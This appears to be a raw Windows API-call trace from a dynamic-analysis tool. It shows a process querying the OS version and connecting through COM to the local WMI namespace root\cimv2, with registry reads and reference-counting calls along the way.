	[0118.749] GetVersionExW (in: lpVersionInformation=0x72f300*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x72f300*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0118.749] GetLastError () returned 0x0
	[0118.863] lstrlenW (lpString="䅁") returned 1
	[0118.865] CreateBindCtx (in: reserved=0x0, ppbc=0x2de4ac | out: ppbc=0x2de4ac*=0x7765a0) returned 0x0
	[0118.865] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddd54 | out: ppvObject=0x2ddd54*=0x7765a0) returned 0x0
	[0118.865] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2ddd10 | out: ppvObject=0x2ddd10*=0x0) returned 0x80004002
	[0118.866] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2ddc04 | out: ppvObject=0x2ddc04*=0x0) returned 0x80004002
	[0118.866] IUnknown:AddRef (This=0x7765a0) returned 0x3
	[0118.866] CoGetContextToken (in: pToken=0x2ddb9c | out: pToken=0x2ddb9c) returned 0x0
	[0118.866] CoGetContextToken (in: pToken=0x2ddb60 | out: pToken=0x2ddb60) returned 0x0
	[0118.866] CObjectContext::QueryInterface () returned 0x0
	[0118.866] CObjectContext::GetCurrentApartmentType () returned 0x0
	[0118.866] Release () returned 0x0
	[0118.867] CoGetObjectContext (in: riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x76673c | out: ppv=0x76673c*=0x757918) returned 0x0
	[0118.881] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb84 | out: ppvObject=0x2ddb84*=0x0) returned 0x80004002
	[0118.881] CoGetContextToken (in: pToken=0x2ddb94 | out: pToken=0x2ddb94) returned 0x0
	[0118.881] IUnknown:AddRef (This=0x7765a0) returned 0x4
	[0118.881] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc08 | out: ppvObject=0x2ddc08*=0x0) returned 0x80004002
	[0118.881] IUnknown:Release (This=0x7765a0) returned 0x3
	[0118.882] IUnknown:Release (This=0x7765a0) returned 0x2
	[0118.882] CoGetContextToken (in: pToken=0x2de008 | out: pToken=0x2de008) returned 0x0
	[0118.882] CoGetContextToken (in: pToken=0x2ddfc8 | out: pToken=0x2ddfc8) returned 0x0
	[0118.882] IUnknown:AddRef (This=0x7765a0) returned 0x3
	[0118.882] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x2de044*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de040 | out: ppvObject=0x2de040*=0x7765a0) returned 0x0
	[0118.882] IUnknown:Release (This=0x7765a0) returned 0x3
	[0118.882] IUnknown:Release (This=0x7765a0) returned 0x2
	[0118.882] IUnknown:Release (This=0x7765a0) returned 0x1
	[0118.884] CoGetContextToken (in: pToken=0x2de06c | out: pToken=0x2de06c) returned 0x0
	[0118.884] CoGetContextToken (in: pToken=0x2de02c | out: pToken=0x2de02c) returned 0x0
	[0118.884] IUnknown:AddRef (This=0x7765a0) returned 0x2
	[0118.884] IUnknown:QueryInterface (in: This=0x7765a0, riid=0x2de0a8*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0a4 | out: ppvObject=0x2de0a4*=0x7765a0) returned 0x0
	[0118.884] IUnknown:Release (This=0x7765a0) returned 0x2
	[0118.884] IUnknown:AddRef (This=0x7765a0) returned 0x3
	[0118.884] MkParseDisplayName (in: pbc=0x7765a0, szUserName="WinMgmts:", pchEaten=0x2de538, ppmk=0x2de47c | out: pchEaten=0x2de538, ppmk=0x2de47c*=0x78b1d0) returned 0x0
	[0119.380] DllGetClassObject (in: rclsid=0x7891d4*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x2de0b0*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2dd768 | out: ppv=0x2dd768*=0x0) returned 0x80004002
	[0119.381] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0810
	[0119.381] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.381] DllGetClassObject (in: rclsid=0x7891d4*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x75c2ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2de270 | out: ppv=0x2de270*=0x50a0810) returned 0x0
	[0119.381] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0810
	[0119.381] WinMGMTS:IClassFactory:CreateInstance (in: This=0x50a0810, pUnkOuter=0x0, riid=0x75c2f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de21c | out: ppvObject=0x2de21c*=0x50a0850) returned 0x0
	[0119.381] GetVersionExW (in: lpVersionInformation=0x2de068*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x2de0cc, szCSDVersion="塩痼\x08쀕") | out: lpVersionInformation=0x2de068*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0119.381] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x2de05c | out: phkResult=0x2de05c*=0x234) returned 0x0
	[0119.381] RegQueryValueExW (in: hKey=0x234, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x2de064, lpcbData=0x2de060*=0x4 | out: lpType=0x0, lpData=0x2de064*=0x3, lpcbData=0x2de060*=0x4) returned 0x0
	[0119.381] RegCloseKey (hKey=0x234) returned 0x0
	[0119.381] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0828
	[0119.381] GetSystemDirectoryW (in: lpBuffer=0x50a0828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0119.382] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x77740000
	[0119.382] GetProcAddress (hModule=0x77740000, lpProcName="DuplicateTokenEx") returned 0x7774ca24
	[0119.382] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.383] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0828
	[0119.383] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0850
	[0119.383] WinMGMTS:IUnknown:Release (This=0x50a0810) returned 0x0
	[0119.383] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.383] IParseDisplayName:ParseDisplayName (in: This=0x50a0850, pbc=0x7765a0, pszDisplayName="WinMgmts:", pchEaten=0x2de434, ppmkOut=0x2de438 | out: pchEaten=0x2de434*=0x9, ppmkOut=0x2de438*=0x78b1d0) returned 0x0
	[0119.383] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0
	[0119.384] IBindCtx:GetObjectParam (in: This=0x7765a0, pszKey="WmiObject", ppunk=0x2de33c | out: ppunk=0x2de33c*=0x0) returned 0x80004005
	[0119.384] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0860
	[0119.384] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123
	[0119.384] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0880
	[0119.384] CoCreateInstance (in: rclsid=0x751e42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x751e42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x50a0898 | out: ppv=0x50a0898*=0x50a08e8) returned 0x0
	[0119.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a08f8
	[0119.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0960
	[0119.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a09c0
	[0119.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0119.485] GetCurrentThreadId () returned 0xa14
	[0119.485] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91
	[0119.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0119.485] GetCurrentThreadId () returned 0xa14
	[0119.485] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x2de224 | out: phkResult=0x2de224*=0x23c) returned 0x0
	[0119.485] RegQueryValueExW (in: hKey=0x23c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x2de22c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x2de22c*=0x16) returned 0x0
	[0119.485] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a09e0
	[0119.486] RegQueryValueExW (in: hKey=0x23c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x50a09e0, lpcbData=0x2de22c*=0x16 | out: lpType=0x0, lpData=0x50a09e0*=0x72, lpcbData=0x2de22c*=0x16) returned 0x0
	[0119.486] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0a00
	[0119.486] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.486] RegCloseKey (hKey=0x23c) returned 0x0
	[0119.486] CoCreateInstance (in: rclsid=0x751e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x751e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x2de258 | out: ppv=0x2de258*=0x50a0a20) returned 0x0
	[0119.580] SysStringLen (param_1=".") returned 0x1
	[0119.580] WbemDefPath:IWbemPath:SetServer (This=0x50a0a20, Name=".") returned 0x0
	[0119.580] CoCreateInstance (in: rclsid=0x751e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x751e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x2de210 | out: ppv=0x2de210*=0x50a0ab8) returned 0x0
	[0119.580] CoCreateInstance (in: rclsid=0x751e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x751e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x2de1b4 | out: ppv=0x2de1b4*=0x50a0b50) returned 0x0
	[0119.580] WbemDefPath:IWbemPath:SetText (This=0x50a0b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0
	[0119.580] WbemDefPath:IUnknown:Release (This=0x50a0b50) returned 0x0
	[0119.580] SysStringLen (param_1="root\\cimv2") returned 0xa
	[0119.581] WbemDefPath:IWbemPath:SetText (This=0x50a0ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0
	[0119.581] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50a0ab8, puCount=0x2de220 | out: puCount=0x2de220*=0x2) returned 0x0
	[0119.581] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x50a0a20) returned 0x0
	[0119.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x50a0ab8, uIndex=0x0, puNameBufLength=0x2de1e8*=0x0, pName=0x0 | out: puNameBufLength=0x2de1e8*=0x5, pName=0x0) returned 0x0
	[0119.581] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0b50
	[0119.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x50a0ab8, uIndex=0x0, puNameBufLength=0x2de1e8*=0x5, pName="ಀԊÄԊ" | out: puNameBufLength=0x2de1e8*=0x5, pName="root") returned 0x0
	[0119.581] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.581] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x50a0a20, uIndex=0x0, pszName="root") returned 0x0
	[0119.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x50a0ab8, uIndex=0x1, puNameBufLength=0x2de1e8*=0x0, pName=0x0 | out: puNameBufLength=0x2de1e8*=0x6, pName=0x0) returned 0x0
	[0119.581] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0ce8
	[0119.581] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x50a0ab8, uIndex=0x1, puNameBufLength=0x2de1e8*=0x6, pName="ÄԊÄԊ2" | out: puNameBufLength=0x2de1e8*=0x6, pName="cimv2") returned 0x0
	[0119.581] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.581] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x50a0a20, uIndex=0x1, pszName="cimv2") returned 0x0
	[0119.581] WbemDefPath:IUnknown:Release (This=0x50a0ab8) returned 0x0
	[0119.581] WbemDefPath:IWbemPath:GetText (in: This=0x50a0a20, lFlags=4, puBuffLength=0x2de23c*=0x0, pszText=0x0 | out: puBuffLength=0x2de23c*=0xf, pszText=0x0) returned 0x0
	[0119.581] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0ab8
	[0119.581] WbemDefPath:IWbemPath:GetText (in: This=0x50a0a20, lFlags=4, puBuffLength=0x2de23c*=0xf, pszText="୰ԊৠԊ2" | out: puBuffLength=0x2de23c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0119.581] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0119.581] WbemDefPath:IUnknown:Release (This=0x50a0a20) returned 0x0
	[0119.581] WbemLocator:IWbemLocator:ConnectServer (in: This=0x50a08e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x2de2c4 | out: ppNamespace=0x2de2c4*=0x50ad174) returned 0x0
	[0123.554] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac878
	[0123.554] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad188
	[0123.554] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad1e8
	[0123.554] IUnknown:QueryInterface (in: This=0x50ad174, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de194 | out: ppvObject=0x2de194*=0x78dedc) returned 0x0
	[0123.554] IClientSecurity:QueryBlanket (in: This=0x78dedc, pProxy=0x50ad174, pAuthnSvc=0x2de184, pAuthzSvc=0x2de188, pServerPrincName=0x0, pAuthnLevel=0x2de1b0, pImpLevel=0x2de1ac, pAuthInfo=0x0, pCapabilites=0x2de19c | out: pAuthnSvc=0x2de184*=0xa, pAuthzSvc=0x2de188*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2de1b0*=0x6, pImpLevel=0x2de1ac*=0x2, pAuthInfo=0x0, pCapabilites=0x2de19c*=0x1) returned 0x0
	[0123.554] IUnknown:Release (This=0x78dedc) returned 0x1
	[0123.554] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.554] GetCurrentThreadId () returned 0xa14
	[0123.554] IUnknown:QueryInterface (in: This=0x50ad174, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de1c4 | out: ppvObject=0x2de1c4*=0x78dedc) returned 0x0
	[0123.554] IClientSecurity:CopyProxy (in: This=0x78dedc, pProxy=0x50ad174, ppCopy=0x2de1c8 | out: ppCopy=0x2de1c8*=0x50ad2e4) returned 0x0
	[0123.554] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0e0 | out: ppvObject=0x2de0e0*=0x78dedc) returned 0x0
	[0123.554] IClientSecurity:QueryBlanket (in: This=0x78dedc, pProxy=0x50ad2e4, pAuthnSvc=0x2de104, pAuthzSvc=0x2de0f4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x2de104*=0xa, pAuthzSvc=0x2de0f4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0123.554] IUnknown:Release (This=0x78dedc) returned 0x3
	[0123.554] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0b8 | out: ppvObject=0x2de0b8*=0x78defc) returned 0x0
	[0123.555] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0bc | out: ppvObject=0x2de0bc*=0x78dedc) returned 0x0
	[0123.555] IClientSecurity:SetBlanket (This=0x78dedc, pProxy=0x50ad2e4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0123.555] IUnknown:Release (This=0x78dedc) returned 0x4
	[0123.555] IUnknown:Release (This=0x78defc) returned 0x3
	[0123.555] IUnknown:Release (This=0x78dedc) returned 0x2
	[0123.555] IUnknown:AddRef (This=0x50ad2e4) returned 0x3
	[0123.555] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad2f8
	[0123.555] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac948
	[0123.555] IUnknown:Release (This=0x50ad174) returned 0x2
	[0123.555] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.555] GetCurrentThreadId () returned 0xa14
	[0123.555] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.555] GetCurrentThreadId () returned 0xa14
	[0123.555] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de288 | out: ppvObject=0x2de288*=0x78dedc) returned 0x0
	[0123.555] IClientSecurity:QueryBlanket (in: This=0x78dedc, pProxy=0x50ad2e4, pAuthnSvc=0x2de278, pAuthzSvc=0x2de27c, pServerPrincName=0x0, pAuthnLevel=0x2de2a8, pImpLevel=0x2de2ac, pAuthInfo=0x0, pCapabilites=0x2de290 | out: pAuthnSvc=0x2de278*=0xa, pAuthzSvc=0x2de27c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2de2a8*=0x6, pImpLevel=0x2de2ac*=0x3, pAuthInfo=0x0, pCapabilites=0x2de290*=0x20) returned 0x0
	[0123.555] IUnknown:Release (This=0x78dedc) returned 0x2
	[0123.556] CreatePointerMoniker (in: punk=0x50ac878, ppmk=0x2de438 | out: ppmk=0x2de438*=0x78b1d0) returned 0x0
	[0123.556] IUnknown:AddRef (This=0x50ac878) returned 0x2
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.556] WbemLocator:IUnknown:Release (This=0x50a08e8) returned 0x0
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.556] IUnknown:Release (This=0x50a0850) returned 0x0
	[0123.556] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0123.564] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddd2c | out: ppvObject=0x2ddd2c*=0x78b1d0) returned 0x0
	[0123.565] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2ddce8 | out: ppvObject=0x2ddce8*=0x0) returned 0x80004002
	[0123.565] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2ddbdc | out: ppvObject=0x2ddbdc*=0x0) returned 0x80004002
	[0123.565] IUnknown:AddRef (This=0x78b1d0) returned 0x3
	[0123.565] CoGetContextToken (in: pToken=0x2ddb74 | out: pToken=0x2ddb74) returned 0x0
	[0123.565] CoGetContextToken (in: pToken=0x2ddb38 | out: pToken=0x2ddb38) returned 0x0
	[0123.565] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb6c | out: ppvObject=0x2ddb6c*=0x757924) returned 0x0
	[0123.565] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2ddb9c | out: pAptType=0x2ddb9c*=3) returned 0x0
	[0123.565] IUnknown:Release (This=0x757924) returned 0x1
	[0123.565] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb5c | out: ppvObject=0x2ddb5c*=0x78b1e4) returned 0x0
	[0123.565] IMarshal:GetUnmarshalClass (in: This=0x78b1e4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x2ddb64 | out: pCid=0x2ddb64*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0123.565] IUnknown:Release (This=0x78b1e4) returned 0x3
	[0123.566] CoGetContextToken (in: pToken=0x2ddb6c | out: pToken=0x2ddb6c) returned 0x0
	[0123.566] IUnknown:AddRef (This=0x78b1d0) returned 0x4
	[0123.566] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddbe0 | out: ppvObject=0x2ddbe0*=0x0) returned 0x80004002
	[0123.566] IUnknown:Release (This=0x78b1d0) returned 0x3
	[0123.566] IUnknown:Release (This=0x78b1d0) returned 0x2
	[0123.566] CoGetContextToken (in: pToken=0x2ddfe0 | out: pToken=0x2ddfe0) returned 0x0
	[0123.566] CoGetContextToken (in: pToken=0x2ddfa0 | out: pToken=0x2ddfa0) returned 0x0
	[0123.566] IUnknown:AddRef (This=0x78b1d0) returned 0x3
	[0123.566] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x2de01c*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de018 | out: ppvObject=0x2de018*=0x78b1d0) returned 0x0
	[0123.566] IUnknown:Release (This=0x78b1d0) returned 0x3
	[0123.566] IUnknown:Release (This=0x78b1d0) returned 0x2
	[0123.566] IUnknown:Release (This=0x78b1d0) returned 0x1
	[0123.566] IUnknown:Release (This=0x7765a0) returned 0x2
	[0123.567] CoGetContextToken (in: pToken=0x2de06c | out: pToken=0x2de06c) returned 0x0
	[0123.567] CoGetContextToken (in: pToken=0x2de02c | out: pToken=0x2de02c) returned 0x0
	[0123.567] IUnknown:AddRef (This=0x78b1d0) returned 0x2
